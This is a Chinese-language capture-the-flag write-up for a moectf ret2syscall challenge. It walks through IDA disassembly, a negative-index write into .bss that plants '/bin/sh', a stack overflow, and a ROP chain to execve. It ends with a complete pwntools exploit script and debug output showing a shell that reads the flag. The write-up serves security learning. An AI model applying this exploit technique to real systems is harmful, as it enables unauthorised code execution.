本文为人工撰写,仅使用生成式AI校对。

题目链接

根据题目提示,本题可能为ret2syscall1

依旧是IDA。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  write(1, "My lock looks strange鈥攃an you help me?\n", 0x29uLL);
  write(1, "choose mode\n", 0xCuLL);
  i = input();
  if ( i > 4 )
    lose();
  write(1, "Input your password\n", 0x14uLL);
  read(0, (char *)&s + i, 0xCuLL);
  if ( i != 59 )
    lose();
  cheat();
  return 0;
}

注意到,这里的i有两个相悖的检查。

需要防止跳转到lose()分支:

注意到:

s:0000000000404069                 align 20h
.bss:0000000000404080                 public i
.bss:0000000000404080 i               dd ?                    ; DATA XREF: main+4E↑w
.bss:0000000000404080                                         ; main+54↑r ...
.bss:0000000000404084                 align 20h
.bss:00000000004040A0                 public s
.bss:00000000004040A0 s               db    ? ;               ; DATA XREF: main+8A↑o
.bss:00000000004040A1                 db    ? ;
.bss:00000000004040A2                 db    ? ;
.bss:00000000004040A3                 db    ? ;
.bss:00000000004040A4                 db    ? ;
.bss:00000000004040A5                 db    ? ;
.bss:00000000004040A6                 db    ? ;
.bss:00000000004040A7                 db    ? ;

并且 read(0, (char *)&s + i, 0xCuLL);

所以我们可以令i = 0x80 - 0xA0 = -0x20

然后我们就可以覆写i来通过检查了。

int input()
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  read(0, buf, 0xFuLL);
  buf[15] = 0;
  return atoi(buf);
}

input搞不了栈溢出。

ssize_t cheat()
{
  char buf[64]; // [rsp+0h] [rbp-40h] BYREF

  write(1, "Developer Mode.\n", 0x10uLL);
  return read(0, buf, 0x100uLL);
}

但是cheat()可以。

集中注意力可知。

.text:000000000040123C ; void gadget()
.text:000000000040123C                 public gadget
.text:000000000040123C gadget          proc near
.text:000000000040123C ; __unwind {
.text:000000000040123C                 endbr64
.text:0000000000401240                 pop     rdi
.text:0000000000401241                 pop     rsi
.text:0000000000401242                 pop     rdx
.text:0000000000401243                 retn
.text:0000000000401243 gadget          endp ; sp-analysis failed
.text:0000000000401243

这个gadget()属于是大礼包了,一个顶四个。

我们还差个/bin/sh字符串,很遗憾没找到。

我们应该利用刚才的可写段,在修改i值的同时注入字符串。

我们还差一个pop rax设置系统调用码和syscall。

再次集中注意力可知。

0000000004011FD ; __unwind {
.text:00000000004011FD                 endbr64
.text:0000000000401201                 push    rbp
.text:0000000000401202                 mov     rbp, rsp
.text:0000000000401205                 sub     rsp, 10h
.text:0000000000401209                 lea     rax, aSomethingWrong ; "Something wrong.\n"
.text:0000000000401210                 mov     [rbp+buf], rax
.text:0000000000401214                 mov     rcx, [rbp+buf]
.text:0000000000401218                 mov     rax, 1
.text:000000000040121F                 mov     rdi, 1          ; fd
.text:0000000000401226                 mov     rsi, rcx        ; buf
.text:0000000000401229                 mov     rdx, 11h        ; count
.text:0000000000401230                 syscall                 ; LINUX - sys_write
.text:0000000000401232                 mov     edi, 0          ; status
.text:0000000000401237                 call    _exit
.text:0000000000401237 ; } // starts at 4011FD
.text:0000000000401237 lose            endp

这里有syscall

由于注意力逐渐涣散,遂使用ROPgadget搜索。

$ ROPgadget --bin ./pwn | grep "pop rax"
0x0000000000401244 : pop rax ; ret

到这里已经结束了,公式化栈溢出即可。

脚本:

from pwn import *
import ctypes
context(arch='amd64', os='linux', log_level='debug')

io = connect("127.0.0.1", 51750)



io.recvuntil(b'mode')
io.sendline(b'-32')

io.recvuntil(b'password')
io.send(p32(59) + b'/bin/sh\x00')

io.recvuntil(b'Mode')
io.sendline(b'A' * 64 + b'A' * 8 + p64(0x401244) + p64(59) + p64(0x401240) + p64(0x404080 + 0x4) + p64(0) + p64(0) + p64(0x401230))

io.interactive()

这里如果不使用io.secvuntil()会使其将第二段溢出指令一起读入,导致失败。 read(0, (char *)&s + i, 0xCuLL);恰好读入12个字节,与构造串长度恰好相等,所以这里需要使用send()而不是sendline()

输出:

[x] Opening connection to 127.0.0.1 on port 51750
[x] Opening connection to 127.0.0.1 on port 51750: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 51750: Done
[DEBUG] Received 0x35 bytes:
    00000000  4d 79 20 6c  6f 63 6b 20  6c 6f 6f 6b  73 20 73 74  │My l│ock │look│s st│
    00000010  72 61 6e 67  65 e2 80 94  63 61 6e 20  79 6f 75 20  │rang│e···│can │you │
    00000020  68 65 6c 70  20 6d 65 3f  0a 63 68 6f  6f 73 65 20  │help│ me?│·cho│ose │
    00000030  6d 6f 64 65  0a                                     │mode│·│
    00000035
[DEBUG] Sent 0x4 bytes:
    b'-32\n'
[DEBUG] Received 0x14 bytes:
    b'Input your password\n'
[DEBUG] Sent 0xc bytes:
    00000000  3b 00 00 00  2f 62 69 6e  2f 73 68 00               │;···│/bin│/sh·│
    0000000c
[DEBUG] Received 0x10 bytes:
    b'Developer Mode.\n'
[DEBUG] Sent 0x80 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000040  41 41 41 41  41 41 41 41  44 12 40 00  00 00 00 00  │AAAA│AAAA│D·@·│····│
    00000050  3b 00 00 00  00 00 00 00  40 12 40 00  00 00 00 00  │;···│····│@·@·│····│
    00000060  84 40 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │·@@·│····│····│····│
    00000070  00 00 00 00  00 00 00 00  30 12 40 00  00 00 00 00  │····│····│0·@·│····│
    00000080
[*] Switching to interactive mode
.
cat flag
[DEBUG] Sent ...
[DEBUG] Received ...
moectf{THIS_IS_FLAG}
[*] Interrupted
[*] Closed connection to 127.0.0.1 port 51750